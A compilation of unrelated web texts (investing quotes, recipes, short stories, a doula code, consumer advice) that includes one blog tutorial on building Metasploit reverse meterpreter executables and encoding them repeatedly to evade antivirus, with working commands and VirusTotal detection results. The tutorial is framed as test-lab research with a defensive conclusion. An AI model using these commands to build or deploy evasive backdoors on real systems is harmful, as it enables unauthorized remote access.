Some investors do have more specific guidelines. Joel Solomon, Chair, Renewal Funds, says, "We are a B Corp Fund. We strongly encourage, but don't require, portfolio companies to become B Corp. We use the B Corp questionnaire as part of our due diligence before final investment. We prioritize B Corp companies for our intake process."
Impact takes time so reporting on impact will improve over time, says, Laura Callanan, Founding Partner, Upstart Co-Lab. "If this is a new enterprise, there will be a trajectory to actually deliver impact just like there will be a trajectory to deliver financial return. Impact investors need to think like investors first and foremost and recognize it takes time to build a business and see results, all kinds of results."
Lauryn Agnew, President, Seal Cove Financial and Founder, Bay Area Impact Investing Initiative, agrees. "We also need to measure both outputs and outcomes, which can take decades. Biotech investments seek the outcome that lives are saved over decades."
Ultimately, measurement isn't a panacea. Morgan Simon, Managing Director, Pi Investments, says, "At Pi Investments, we try to focus on impact management above and beyond measurement–ensuring both fund managers and entrepreneurs have a clear vision of how they will enhance the impact of their work over time."
Lane-Zucker, emphasizes the organization of the enterprise to minimize measurement challenges. "The more that entrepreneurs can bake double and triple bottom line values into their DNA (mission, legal structure, reporting, etc.) from the earliest stages of their project, the easier it will be to locate appropriate measures as the business begins to take shape and mature."
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Devin is a journalist, author and corporate social responsibility speaker who calls himself a champion of social good. With a goal to help solve some of the world's biggest problems by 2045, he focuses on telling the stories of those who are leading the way! Learn more at DevinThorpe.com!
This is a guest post from Sam X Renick who is the driving force behind Sammy Rabbit.
"All our dreams can come true, if we have the courage to purse them." – Walt Disney
Martin Luther King. Steve Jobs. Oprah Winfrey. Howard Schultz. Sallie Krawcheck. Elon Musk. Walt Disney. Donald Trump. The list is endless. They all agree. It's vital to dream big.
Dreaming big is a broadly championed theme. And, it should be.
Dreaming big can fill us with hope and purpose. It can inspire us to innovate and grow. It can get us to focus and pay attention to detail. It can motivate us to delay gratification and emphasize the long run. It can help us to persevere and overcome obstacles. It can teach us to be resourceful and resilient. It can build our imagination and compassion muscles. It can help us to achieve and lead rewarding lives.
Those potential payoffs make it important for everyone to dream big. That includes kids. We want kids to aim high. We want them to develop the confidence and courage to give their best. In giving their best, there is an excellent chance kids will not only learn about themselves but will also discover their capacity to contribute to others.
I agree wholeheartedly with former E-Bay executive and author Maynard Webb. He counseled in the Wall Street Journal, we should teach kids to dream big. For me, it is an essential part of how I want to leave my mark on the world.
My interest in dreaming big started as a child when my father would say to me, "Sam, it takes just as much time to think big as it does small. So, why don't you think and dream big?" Later, I would discover others advocated the same, like former Eastman Kodak Chief Marketing Officer Jeffrey Hayzlett who wrote the book, Think Big, Act Bigger. The Rewards of Being Relentless.
I wanted to communicate a similar sentiment to children. In 2003, I authored the storybook, Sammy (Rabbit's) Big Dream! It was during that period my understanding and appreciation for the magical powers of dreaming big began to deepen.
My mission then and now is to make it easy to teach and talk to kids about great money habits. Personal finance can be a dull, daunting and difficult subject to address. What I discovered is talking to kids about their dreams made it easier to converse with them about money. It also appeared the two topics had a strong and synergistic fit. Poor money habits can destroy lives and be lethal to dreams.Conversely, the quest to make a dream come true can shape behavior. It can be a determining motivator in delaying gratification, an often elusive but essential skill to saving, investing, asset-building or any successful endeavor.
Over a decade later the storybook has evolved into a vision and curriculum, Sammy Rabbit's Dream Big Financial Education Program. The vision is comprised of five initiatives: (1) The Dream Big Reading and Resource Initiative; (2) The Dream Big Tour and Dream Big Do It Yourself Experiences; (3) The Global Dream Big Network (4) The Dream Big Club; and (5) Global Dream Big Day.
Our aim is to reach kids early with stories, songs, activities, games, experiences and questions that will have them living more purpose filled lives.
As philanthropist and master motivator Anthony Robbins shares, questions are the answers. We want to ask kids and adults, what is your big dream? Do you have a written plan to make your big dream come true? Does your plan include developing great money habits?
We also want to share with children their lives and dreams are worth investing their time, minds, and abilities into. They can make big dreams come true. We think now is a Sammyriffic time to join them in doing it!
About Sam X Renick:
Sam X Renick is the driving force behind Sammy Rabbit, Sammy's Dream Big Vision and the "It's a Habit" Company. Sam and Sammy are dedicated to empowering kids' dreams and improving their financial literacy through the development of great habits and strategic life skills. Sam has read and sung off key with over a quarter million children around the world, encouraging them to get in the habits of saving money and reading! He has won numerous honors throughout his career including the New Jersey Coalition for Financial Education's Lifetime Achievement Award!


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In Trying Times A Jew Preps
Food Storage and Planning For the Future
I am sure you have heard about the recent earthquake and subsequent tsunami in Japan.
I woke up in the middle of the night last night with the overwhelming need to go out and buy at least a hundred pounds of rice.
Do I know where we get our rice from? Nope but I guess in my middle of the night haze it was Japan. I'm going to have to check on this because I swear we grew a bunch of rice here too.
This isnt really a blog that is useful to anyone but I think its kind of funny to have been sooooo panicked at 4 in the morning when I should have been happily sleeping. I hope that I am not the only prepper who has strange moments of "Ah Ha! I need to add that to my list" in the middle of the night….. Or any other time for that matter.


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With a package of frozen cooked New Zealand mussels I have in the freezer, I decided to do something with it for my Tapas Party. I'm not a huge fan of those plump mussels (or any similar shellfish), but I don't mind them when they are chopped. I decided to google for a stuffed mussels recipe and found one on my favorite online food sites; Tastespotting. I found a recipe here and extracted bits and pieces from it.
The mussels can definitely be prepped / stuffed ahead and baked about 15-20 minutes prior to serving. You do want to make sure to cover and store the stuffed mussels in the fridge if you do not plan to bake it right away.
- 10 Cooked Mussels, On Half Shell
- 2 Tbsp Chopped Onion
- 2 Tbsp Chopped Bell Pepper
- 2 Clove Garlic, Minced
- 2 Tbsp Flour
- 6 Tbsp Milk
- 1 Tbsp Butter
- Salt & Pepper
- 2 Tbsp Bread Crumbs
- 1-2 Tbsp Grated Parmesan
Preheat oven to 400 F. Carefully remove mussels from shells and chop them. Set shells aside for stuffing. Set chopped mussels aside.
Heat butter in a pan over medium high heat. Add onion, bell pepper and garlic. Sauté until bell pepper is soft. Stir in flour and cook for a few minutes to make a roux. Gradually, stir in milk to achieve the béchamel sauce. Season with salt and pepper. Once sauce thickens, remove pan from heat.
Stir in chopped mussels and evenly stuff them into the mussel shells. Sprinkle some bread crumbs and parmesan cheese over the stuffed mussels. Placed them on a baking pan lined with some foil and baked them for about 15 minutes or when the crumbs turn slightly brown. Let mussels cool slightly before serving.


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Upcoming Events
Active 8 Careers Coaching
American Cancer Society
Ann Taylor, Plaza Frontenac
City of St. Peters
Edward Jones Financial Advisors
Lindell Cultural Center
Missouri City Clerks & Fin. Officers
Pace Properties Commercial Reality
Pfizer Chemical
Pratt Cancer Center
Sigma Aldrich
St. Anthony Hospital
St. Louis CPA Professionals
St. Louis Cooperating School Districts
Stevens Institute of Business & Arts
University of Missouri
Young Presidents Organization
Partial List
Executive Presence
Successful organizations inspire confidence not only through meeting and exceeding corporate goals, but by enhancing and refining their approach to business. They attract and retain clients through their attention to detail, integrity, professional presence and class. Every representative's image and presence must promote confidence and trust in your services and products in order to positively affect your bottom line. Find out how Your Executive Image can make this happen for your business.
Ginny's power-packed presentations leave her audiences inspired, energized and wanting more! Sharing expert tips, tools and techniques, Ginny's audiences increase their self-confidence, gain skills to dress effectively, and  enhance professional communication and interpersonal skills to develop relationships with customers, clients and colleagues.
Inspiring Women
Does your outer image reflect your professional confidence, poise and grace? Are you charismatic and memorable in all the right ways? Companies promote women who can be the "face" of the organization, convey credibility and represent the company brand. With the right image, you can accelerate your career and rise higher within your organization. Find out how Ginny can make this happen for you.
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Your Executive Image has carefully designed programs to help individuals progress through their own organizations by improving their interpersonal communication skills and professional image. This often also brings added confidence leading to improvement in personal interactions outside of work.
Our corporate image and etiquette products and services have provided professionals with tools that work. Your Executive Image fosters success by developing skills related to several key areas:
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Firefly1052, an eBay seller, was showing this dress a while ago and was kind enough to share it with us here on the Irish Together Blog. It is a French Victorian dress made of white net and elaborately detailed Irish Crochet work.
|Detail of bodice. I love the change in texture that is achieved with the different types of background joining.
|Bodice net and collar detail. The collar is 2.5 inches tall.
|Detail of the waist decoration. This looks like a much heavier thread was used here than on the other Irish Crochet areas. I wonder if it was added later...?
|Back view. The strip of Irish Crochet near the bottom of the skirt is 4.5 inches wide.
|Side view
|Close up of large flower on sleeve. I see possible Clones Knots on the petals!
Do you have an antique you would like to share? Send an email to Kim at email@example.com.


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Doula UK Code of Practice
A Doula who is a member of the Doula UK network:
- is accountable for her own practice in whatever environment she chooses to work. In all circumstances the safety and welfare of the mother and baby must be of primary importance
- offers counsel and support, but not advice, to the mother and/or parents, exploring with them their various options, enabling them to make their own decisions about the appropriate course of action, and then supporting them to act upon those decisions e.g. a birth doula supports the mother wherever and however she chooses to give birth - home/birth centre/hospital, with or without medical interventions, whilst a postnatal doula supports the mother whether breast or bottle feeding
- works to maintain the highest level of care and support possible, all the time striving to be sensitive, nurturing, empathic, non-judgemental, knowledge-based, flexible, reliable, well-organised, practical and protective of the mother's/family's environment
- does not perform clinical or medical tasks, diagnose medical conditions or give medical advice, even if trained as a health professional prior to becoming/whilst practising as a doula. Likewise if the doula is also qualified as a therapist in some other field and wishes to apply this skill in her practice, it must be made clear that they are two separate roles. The various "hats" should remain distinct at all times.
- will refer clients to other appropriate resources/professionals should the client have needs beyond the scope of their doula role
- will accurately represent their education and experience and will not mislead other doulas, clients or other birth professionals (i.e. websites, leaflets, emails, interviews, etc.) as to their level of doula education or experience
- will be honest and show integrity and respect at all times towards their clients, doula colleagues and the other professionals with whom they may be working alongside
- will not discuss personal and confidential information which has been disclosed to them by their clients in the course of their doula work with them, without the express permission of those clients, except in situations as outlined in Doula UK's "Confidentiality" policy.
- is advised to keep records of their activities e.g. of births attended and/or postnatal support roles
- is advised to have a contract (preferably written) with their clients
- will strive to develop and maintain positive work relationships within the doula and birthing community
- will make it their own responsibility to maintain/enhance their skills and education by attending courses, workshops and lectures as they become available
- will strive to attend Doula UK national and regional meetings, participate in Doula UK workshops and Study Days and contribute whenever possible to the running of the network as schedules and other commitments allow.
- is aware that Doula UK will not support them should they choose to attend a planned unassisted birth.


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"This is for you, Kayla!"
"What's this April?"
I reached for the slip of paper she handed out to me. Of all the things she could have gotten me for my birthday she hands me a frickin' lottery ticket. This girl and her gag gifts! It was funny and lame at the same time, but I knew how she was. My real gift would come in about a week. I knew her better than that, so I played along!
"This is hilarious! If I win, you get your standard ten percent!" I said, laughing.
"Girl, this jackpot is for $250 million. I'm going to up the ante to twenty!"
"Fine! Twenty percent it is! Hell, I'll even give you thirty! I don't need all of that money."
As we cleaned up for her and my two-year-old God-Son Austin to leave, Justin walked in the door.
"Hey, baby. How was your day?" I said as I greeted him at the door.
"Hey, Jus!" April said.
We all stood around and talked for a minute before Justin headed upstairs. I walked April and Austin out to their car. She said she'll call to collect her thirty percent tomorrow. I loved her enthusiasm, but there was no way in hell I was going to win that lottery. I didn't even like playing and wasn't as impressed by the jackpot like most people. When she pulled off, I made Justin's dinner then got ready to take my shower. I had a long day ahead of me at the office. While I couldn't stand my job, neither Justin nor I were in the position to quit working. We just purchased this home three years ago and had a long way to go before it would have enough equity in it to sell.
As I was in the shower I heard Justin scream at the top of his lungs. Without thinking twice I jumped out to see what was going on?
"What's wrong, baby? Is everything okay?"
"Everything is better than okay!"
He picked my soaking wet body up and spun me around the room. Surely he wasn't this excited over the news. Then it hit me. They announce the lottery numbers just before the eleven o'clock broadcast. It didn't take long for me to piece together why he was so excited.
"Justin, did I win the lottery?" My eyes lit up with the prospect of winning millions of dollars.
I never got a direct response, but I did get the best sex of my life. I went along with the assumption that we had won and my excitement took over. I did things to Justin that I only dreamed about. Two long, intense, satisfying hours later we both drifted off to sleep. I woke up the next morning to a rose from our rose bush and a note from Justin.
Thank you for everything!
Short, sweet, and to the point. Our lives were about to change dramatically. I could feel it in my bones. Before I could even get out of bed April called my phone.
"Where's my thirty percent, heifer?"
"Well, good morning to you, too! I guess I did win last night!"
She didn't comment on what I said. Instead, she began rambling all of the stores we needed to hit up, the cars we needed to buy, and what area we needed to purchase our side by side mansions in.
"You do realize I have to go to work in two hours, right?"
"Work? Kayla, you're a multi-millionaire now! Fuck a job!"
She was right. I was a multi-millionaire. It's funny how your life can change in a matter of seconds. It took no convincing at all. I reached over and grabbed the house phone, called my job, and quit on the spot. No explanation. No reasoning. No notice. I had all the money I needed; actually I had more than I needed. They would be fine without me.
I spent the rest of the day being gassed up by April and her off the chart ideas. She had me in dealerships signing my life away, at real estate brokers claiming deeds, and I don't even want to go into how many department store cards we opened. By the end of the day, I was knee deep in new cars, clothes, and had secured two new homes we could move into within two months. Things were moving way too fast, but like April kept telling me all day: "You only live once!" So with that mantra, I spared no expense, held back no desire, and deprived myself of nothing. I even splurged for Justin. He was definitely going to love me.
The rest of the week pretty much went the same. Minus the cars and homes, we tore up some other shopping centers and shut down a few jewelry stores. By Saturday night, I was tired of shopping. I still hadn't claimed any of the money, but she kept assuring me that I had 30 days to do so. I checked the ticket on the back and it said the same thing, so I guess I was good. I would definitely have to take care of that Monday morning. I was starting to feel uneasy about spending all of this money that I wasn't even sure was mine.
Sunday night, I helped Justin get ready for a business trip. He was due to go to Nevada for a week. I hated his extended trips, but he promised this would be the last one. Afterwards, he was planning on quitting his job to start his catering business. It was always a dream of his, but he never had the funds to get it up and running like he wanted to. Now that we were multi-millionaires he would be able to actualize his dream. I offered to help him pack, but for some reason he wanted to do it this time. I guess it was because it would be his last trip and he likes to end things his way. I can't say I always understood Justin's ways, but I always respected them. I went downstairs to give him space and let him pack the way he wanted to.
The next day I took Justin to the airport. He had more bags than I thought necessary which meant only one thing, there would probably be just as much play as there would be work. I didn't mind though. Justin never gave me a reason to doubt anything he did. Before saying goodbye, I gave him the black AmEx card we just got in the mail. Who'd ever though I'd get approved for a black card?! We said our goodbyes at the gate and I left to go home.
On my way I tried to call April and see if she wanted to meet up for dinner. She didn't answer her phone so I left her a message. Three hours later, I still hadn't heard from her. It was officially too late to go out so I made myself a sandwich, took a shower and called Justin before going to bed. He didn't answer, so I figured he started off with playing first. After leaving him a sweet message, I drifted off to sleep.
The next morning I woke up to a banging sound at my door. When I opened the door, there were two men standing on the other side, along with two officers behind them.
"Can I help you?"
"Ma'am, we're looking for a Mrs. Kayla Johnson."
"I'm Kayla Johnson. Is there something wrong?"
Remember earlier when I said it's funny how your life can change within a matter of seconds. Well, this was another moment because my life changed again. I was asked to get in the officer's car. They wanted to take me downtown for questioning in a identity theft case.
That was the slowest twenty minute car ride ever. They had me waiting in the interrogation room for over an hour. It was cold, dark, and lonely. I couldn't call anyone, and no one had a clue I was there. While I wasn't under arrest, I still couldn't leave. I had no clue what was going on. Finally, one of the two detectives that came to my door came in and sat down at the table across from me.
"May I ask what is going on?"
"Mrs. Johnson, my name is Detective Harold Wilson. I need to address a situation with you. We've gotten several calls from stores claiming that you have been opening up fraudulent accounts. After some investigating, it seems like you have been posing as last week's $250 million dollar lottery winner."
"But I did win that lottery. I still have the ticket. I was supposed to claim the prize this morning, but instead I'm here with you two."
My irritation was starting to show. Me without my morning coffee is like a toddler without a nap. I attempted to regain my composure. The last thing I wanted to do was get arrested for non-compliance.
"Ma'am, the real winner claimed that prize three days ago. Do you not watch the news?"
"But...but...I have the ticket! It's in my purse at home!"
"Did you actually see the numbers?"
"No, but..."
"Then how do you know you won?"
I sat there speechless. I couldn't answer the question because I had no answer. My only proof was the fact that no one told me I didn't win. Justin acted as if I won. April even went so far as to take me out shopping. I had to have won. This must be some kind of mistake.
"Well, how do you know that person isn't trying to impersonate me? I have the winning ticket, I swear! No one stopped me from making any of those purchases. Why would they let me spend so much money if they didn't think I had it?"
"Mrs. Johnson, in no way am I here to insult your intelligence, but dealing with business they are not going to turn down money. You must either have stellar credit, or you didn't read the fine print well enough. Either way you look at it, the person that claimed the winnings three days ago has already been verified. Whatever it is you think you have is not real."
"Can I call my lawyer?"
"There's no need for that. You are free to go, but we will be in touch. While your lawyer isn't needed at this moment, I do suggest you give them a call."
The detective offered to take me home. I walked in the house and immediately called Justin. He didn't answer so I assumed he was with his client. When I tried to call April it went straight to voicemail. This was not the time for her to have one of her moments. I needed someone to explain to me what the hell just happened and how I could get out of it.
I contacted my attorney and scheduled a consultation with them. She wasn't available until the following week so I had some time to do some investigating myself. I grabbed the ticket and headed to the computer. In about five minutes flat my life changed yet again. Detective Wilson was right. I didn't win the lottery, and the real winner, Jamie Abbershaw, already claimed the jackpot.
I think every expletive word I could come up with escaped my lips. I was livid. This was one joke that April took too far. Now I didn't want answers; I already had them. Fuck a phone call. I got in my car and made a beeline to her house.
When I pulled up and banged on her door. She wouldn't answer. I looked in the windows and was floored. Her townhouse was empty. Bare walls, bare floor, nothing was visible. Her neighbor came outside and spoke to me. I knew him well, so it would be easy to get him to talk.
I pulled myself together and acted as if I wanted to know if she moved out yet. He sang like a canary. Turns out that late Sunday night she moved everything she had. She hired a moving company and they cleaned the place out within an hour. Only one question remained.
"She was supposed to give me her forwarding address before she left. Do you know where she went?"
"I'm not sure. She just swung by to say she was leaving. I asked her where she was going and she said Vegas. I didn't even know she was planning to move."
"She's sporadic like that. Thanks Dan. It was good seeing you again. Take care!"
"You too, Kayla. Don't be a stranger! Swing by anytime!"
His words drowned out. I know he did not say she went to Vegas. I grabbed my cell phone to call Justin again.
"The number you have dialed has been disconnected. If you feel you have reached this message in error..."
What the fuck is going on? First I have to deal with a falsified lottery ticket and identity theft case. I can't find Justin anywhere. April calls herself disappearing. This was a set-up.
"Damn it!"
For a week I was out of sorts. I couldn't believe I fell for this. I knew April had a thing for Justin, but I never suspected her to do this to me. I mean, she was my best friend for goodness sake. Everything that was mine was automatically hers. She took that gesture of kindness too far. I don't know Justin's role in this, but he better pray that he doesn't have one.
Sometimes, her gifts are funny. This time, she's gone too far!
To be continued...
Thursday, March 31, 2011
Gone Too Far
"This is for you, Kayla!"
Posted by Diamond Cartel at 9:52 PM 0 comments
Labels: blog, Diamond Cartel, short story
Tuesday, March 1, 2011
In the end...
Sitting at my computer, I started to become overwhelmed with the to-do list that seems to get longer every day. I have three more days to get this mess in line before my next project is scheduled to begin. The senior vice president of OR-COR has become too dependent on me. Out of two assistants, three secretaries, and five interns, how in the world did I end up with 80% of the workload?
Take a deep breath, Sharice. You can handle this.
The things I do to keep my mind occupied. I don't like sitting idle. It gives me time to think. I guess that wouldn't be so bad if I weren't going through so much turmoil in my current life. At least it's not the typical relationship drama. In my case, it's more internal. Once again, I bit off more than I could chew; all for the sake of getting ahead. I took on a double major for my Master's degree. I purchased a home that I knew I couldn't afford at the request of my ailing mother who's insistent on living with me. My bills were piling up. My hair was falling out. Sleep was non-existent these days. I was in need of more than a vacation. I needed a miracle.
What better way to escape the madness of my life than by burying myself in work? At least it would take my mind off of the misery that engulfed me when I leave the office. I couldn't find peace anywhere; not at home, not at school, and now, thanks to my incessant need to say "yes", not even at work. This was becoming too much to bear.
Okay, where do I start?
I had less than 72 hours to complete a list of 35 items. Not all of them were difficult. A few emails, some report submissions, and a couple of meetings to schedule; those would be easy. I decided to tackle those items first. Ring. Right after I take this phone call.
"Hi , Dear. Are you busy?"
"Yes, mom. I am."
"Oh okay. Well can you do me a quick favor?"
Here we go again.
"Sure, Mom. What is it?"
"Can you call Solstice Retirement Home and schedule a visit for me?"
"Why do you need to visit with them, Mom? I thought that's why you wanted me to buy this house, so you could live here with me?"
"I know dear, but you have so much going on. I don't want to be a burden to you."
She did it! She laid down the guilt trip.
"Mom, you're not a burden. I just have a lot on my plate right now, but it'll all be over in three days. Now get some rest. I'll call you tomorrow."
"Are you sure, Dear? They're covered by my insurance."
"I'm sure, Mom."
"Okay then, Sugar. I'll talk to you tomorrow."
I could feel the emergence of her crooked smile spreading across her lips. I loved my mother to death but sometimes she could be sneaky and deceitful. That bothered me, but I'm used to it. Sadly. Back to what I was doing. Ring. Are you serious?
"Hey, Baby. Are you busy?"
"Yeah. I'm trying to get through this list, but..."
"Well can you do me a quick favor?"
Two hours and one "quick favor" later, I'm still in the same position. It's late, I'm tired, and nothing has been crossed off this list. I buried my head in my hands in frustration. This insanity has got to stop! What good are distractions if they add to the afflictions already present? Ring. Without thinking, I picked up my cell phone and threw it across the room. No more distractions. I had to get through this list, now!
In less than an hour I had all of the easy stuff done. That took my list down from 35 to 26. Not bad for an hour's worth of work. It was two in the morning and my body began to protest against me. I decided to call it a night. The next two days would be all about completing this list.
Two days later, I finally understood how work-a-holics felt. With barely 15 minutes to spare I got everything on the list completed. The proposals, reports, interviews, presentations, and that gosh forsaken fiscal-year budget; they were all finally done. It was 4:47 PM and someones happy hour was calling my name. I started to turn my phone back on, but knew I would be bombarded with voice mail messages from my mom, Danny, and whomever else. I wasn't ready for their neediness yet. I left the office early and headed to McShane's for their happy hour event with Clara, one of the interns.
Clara was a lot like me when I was ten years younger. She is actually one of the few people at the office that I can tolerate outside of work. We had a couple of drinks, laughed, and celebrated the end of the fiscal-year madness. She had a lot of potential, and surprisingly taught me a very valuable lesson.
"How did you do it, Sharice? That was a lot to accomplish in three days!"
"I turned my phone off and went to war!"
"And no one came looking for you?"
"Yeah, they did. Last night the police even showed up at my door. My mother thought I was in my home dead! I just told them I had a lot of deadlines to meet so I turned my phone off. They said I should have told people what was going on so they wouldn't worry. I started to combat that statement, but decided against it. There's no what any sane person would be able to understand the stuff I go through."
"So why do you go through it?"
Her question stung me because I had been asking myself the same thing for years. For some reason, I felt obligated to deal with taking care of my mother even though I had siblings, waiting on Danny hand and foot, jumping at the aide of my classmates, and just generally being on-call for everyone.
"You know what, Clara? I don't know. It's just that when people call on me I feel I have to answer."
"You may feel the need to answer, but that doesn't mean it has to be in their favor."
"What do you mean?"
Clara looked through the window behind me and saw her ride pull up. She gathered her things and began to say goodbye.
"I have to go." She gave me a hug. "Simply put Sharice, learn the power of saying 'no.' It doesn't require an explanation. It doesn't require an apology. When you're pushed to the limit, start saying 'no.' You can thank me later!"
My miracle arrived, in the form of a two letter word.
I waved to Clara through the window as she and her driver pulled off. She was right. There was so much power in the word no. I knew of that power, but the problem was that I've been saying it to the wrong person this entire time. I'm so quick to say yes to everyone else, but I'm even quicker to say no to myself. That was going to change...today!
Later on that evening, I finally turned my phone on to check my voice mail. Before the alert light even came on my mother was calling. As I was talking to her, Danny patched through. Without a second thought I exercised the power of the word "no" immediately. It was Friday evening and I needed a mini-vacation. I saved the voice mails to respond to them on Monday. I alerted everyone of my pending absence, turned my phone back off, and got a hotel suite in the next city. I said "no" to everyone else, and finally said "yes" to myself.
Posted by Diamond Cartel at 12:30 PM 0 comments


text:
This sporting life
Sport has always been loved by South Australians, whether as participants or spectators, playing netball or bowls, cheering on their team in a Grand Final or participating in a watermelon race at a community picnic.
Because of this tradition, athletes from South Australia have tested themselves in local, national and international arenas. The colour of those arenas are part of the fabric of the community.
Some of South Australia's favourite sons and daughters are sporting icons, known around the world. The memorabilia of sport adds to the tradition, through photographs, films and videos, medals, badges and trophies, many donated to the State Library by the community.


text:
Is It Worth Taking A Lower Rate In Exchange For Closing Your Credit Card?
Amy and her husband are drowning in high-interest credit card debt. When she asked Chase to lower her nasty 28-percent APR, they offered her an indecent proposal. She doesn't know what to do.
Let her explain:
Hi Consumerist. I'm hoping you can help me out with a little dilemma.
My husband and I have several credit cards with high balances and, though we're trying hard to pay down our balances, we're finding it difficult to make all of our bills every month. I called Chase (I have two high-balance cards with them) to see if I could get one of my APRs reduced from 28% (the other card is at a more manageable 11%). I've been trying since January to get the rate reduced to no avail. This time they told me that, under their hardship program, they could reduce my rate from 28% to 6%, but that would require that they close my card.
Now, my dilemma is this: If I go for the hardship program, it will bring down my APR and my monthly payments, and I'll be rid of the balance within 5 years. But what will this do to my credit? Also, can I trust a program like this coming from Chase, who could care less about me?
Any advice you could offer would be immensely appreciated.
Well, since it's IMMENSELY appreciated I'll go ahead and say she should take the lower rate and get rid of the card, since it seems the less plastic Amy and her husband have at their disposal, the better. Any credit hit would be incidental because this couple has bigger spending issues to deal with. Your thoughts, commenters?
(Photo: frankieleon)
Want more consumer news? Visit our parent organization, Consumer Reports, for the latest on scams, recalls, and other consumer issues.


text:
Self Storage for Beginners
Moving can be tough. To reduce hassle, many people choose to temporarily use self storage units to store items that won't be put to use for a while. This is especially true if remodeling projects are on the horizon for the new home. The following quick tips will help those who don't have experience using self-storage units.
Couches and Beds
Utilize furniture coverings to protect from dust and mildew. Larger coverings or bags can usually be purchased at storage facilities. When storing a mattress or couch, be aware of whether you've positioned them too close to other furniture. Over long periods of time, color transfer between items becomes a possibility.
Tables, Dressers, and Chairs
If a chair or table does not disassemble, place a moving blanket on the floor and store the chair or table with the legs in the air. If the chair or table does disassemble, wrap each part in plastic or bubble wrap to prevent damage. When moving dressers you can use the drawers for more fragile items. This is recommended only if you can lock or wrap the dresser doors closed.
Use lots of plastic and bubble wrap to protect the corners, especially your more valuable items. Use cotton and canvas tarps to avoid dust on furniture. These covering will also allow for airflow. Using pallets in the unit to raise your furniture off the ground will prevent damage from moisture. You can also put down a tarp on the ground to collect moisture.
Lamps, TV's, and General Storage
When moving lamps, wrap the bases in bubble wrap or a moving blanket. Place lamp covers in loose plastic, cotton, or bubble wrap and store them in boxes.
You can never be too careful with larger flat screen TVs and computer monitors. Temperature controlled units are the best option to protect these, and other electronics, from damage that may be caused by extreme temperature fluctuations.
Make sure that you properly plan for your moving or putting personal items in storage. It is vital that the proper plan is in place so that you save money as well as time. If you have any questions regarding the use of your unit, contact your friendly, professional Infinite Self Storage management team.


text:
There are a lot of interesting and useful features to play with in the Metasploit meterpreter payload, especially with the extensible scripts.
While I was experimenting with meterpreter sessions, I found it easier and quicker to use a prebuilt Windows PE executeable of a reverse meterpreter payload.
I would recommend producing and using one of these in your testlab, as this enables you to simulate the pwnage of a vulnerable application on a fully patched system. This is helpful as it enables you to get familiar with meterpreter features and post-exploitation techniques; such as hashdumping, information gathering, further network enumeration, tunneling techniques, and secondary attacks - in an easily reproduceable way.
Please only use these methods for testing and educational purposes. I do not advocate breaking the law or attacking systems where you do not have permission.
Making testing easier
Producing a meterpreter executable payload is relatively easy, but I initially found that this executable was easily detected by the Anti-virus on my test Windows system. So we also discuss encoding this executeable multiple times using msfencode. In the following examples I am using Backtrack 4 R1.
Producing a meterpreter executeable
To produce an example executeable, you can use msfpayload as follows:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 X > /var/www/met.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.1.67,LPORT=4444
ls -l /var/www/met.exe
-rw-r--r-- 1 root root 73802 Aug 20 19:00 /var/www/met.exe
I tried downloading this to my test "victim" system, and is was immediately detected by the desktop Anti-virus tool, and quarantined as a "trojan" - understandable, but I want to do some testing without disabling my security features. (I don't want to get any real viruses or trojans ;o)
Encoding the payload
So, lets try encoding it using msfencode. We need to produce the payload in raw format, and then pipe this to msfencode which will produce the executeable:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -t exe > /var/www/metenc1.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
I downloaded this to my target system, but nope, still detected by my Anti-virus tool.
Further encoding
Let's get some help:
./msfencode -h
Usage: ./msfencode
-h Help banner
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-n Dump encoder information
Using the -c option, msfencode enables you to repeat the encoding process recursively multiple times. Let's go crazy, encode it 21 times, and see what happens:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.67 LPORT=4444 R | ./msfencode -c 21 -t exe > /var/www/metenc21.exe
[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
... truncated for your sanity ...
[*] x86/shikata_ga_nai succeeded with size 804 (iteration=21)
In my tests, this payload didn't get detected, it runs fine, and so I was able to use it for what I wanted in my test environment. Just needed to start msfconsole, setup a handler to catch the session, and then double-click the meterpreter executable on the "victim" desktop. Easy.
So how much encoding is required to get past the average AV-tool?
However, I was a bit curious about this (as I always am). I like to know how things work, and where the limitations are.
So how about building a whole batch of these babies, each with a different number of encoding iterations, and seeing which ones get detected and which don't. Time for a bash one-liner:
So, then I had a whole army of 20 encoded reverse meterpreter payload exes, so I put some of them to the test with an online scanner www.virustotal.com that can scan against 40+ Anti-virus tools.
Here are my results for some of the encodings, with the number of tools detecting our reverse meterpreter exe payload as a backdoor/trojan
Native exe payload = 14/42 AV tools detected it
That seems very low to me, as for some examples of the encoded ones:
1 encoding = 3/42 AV tools
2 encodings = 8/42 AV tools
5 encodings = 6/42 AV tools
10 encodings = 8/42 AV tools
15 encodings = 8/42 AV tools
18 encodings = 7/42 AV tools
20 encodings = 1/42 AV tools = AVG
The results seem very variable, but I guess this is to be expected, as each encoding is somewhat randomized, and my submissions were not previously known in the hash database.
For these tests, I declare AVG the winner! as it outperformed the other tools.
AhnLab-V3, AntiVir, Antiy-AVL, CAT-QuickHeal, ClamAV, Comodo, DrWeb, eSafe, eTrust-Vet, Fortinet, Jiangmin, Kaspersky, McAfee, McAfee-GW-Edition, Panda, PCTools, Prevx, Rising, Sophos, Sunbelt, SUPERAntiSpyware, Symantec, TheHacker, TrendMicro, TrendMicro-HouseCall, VBA32, ViRobot, VirusBuster... In these tests for some reason you FAIL!
So, it just goes to show, that for a known functionality payload, produced by a very well known tool (Metasploit) ; backdoor/trojan detection is suprisingly poor!
- Never rely on Anti-virus alone - use defence in depth
- Content security solutions should block exe code in web and email traffic, even if it is not a known virus it could easily be custom malware


text:
If only the real cold virus were so cute.It's that time of year; everywhere you go there's a constant background rumble of sneezes, coughs, and nose blowing. Cold season is upon us. If it's not you, it's your coworker, friends, or kid ... which means it soon will be you that gets this year's version of rhinovirus.
It's possible that someday, we might be able to do more about the common cold than stock up on tissues and chicken soup. Scientists in the UK say they've come up with a way to help the body's immune system kill viruses after they've already infected a cell.
Any drugs resulting from this research wouldn't be ready for human trials for two to five years, and there's no word on whether it fights the Man Cold, which any woman who's lived with the opposite sex can tell you is about 300 times worse than the colds we get. Until then, if you do catch a cold, here are some natural ways to ease the pain:
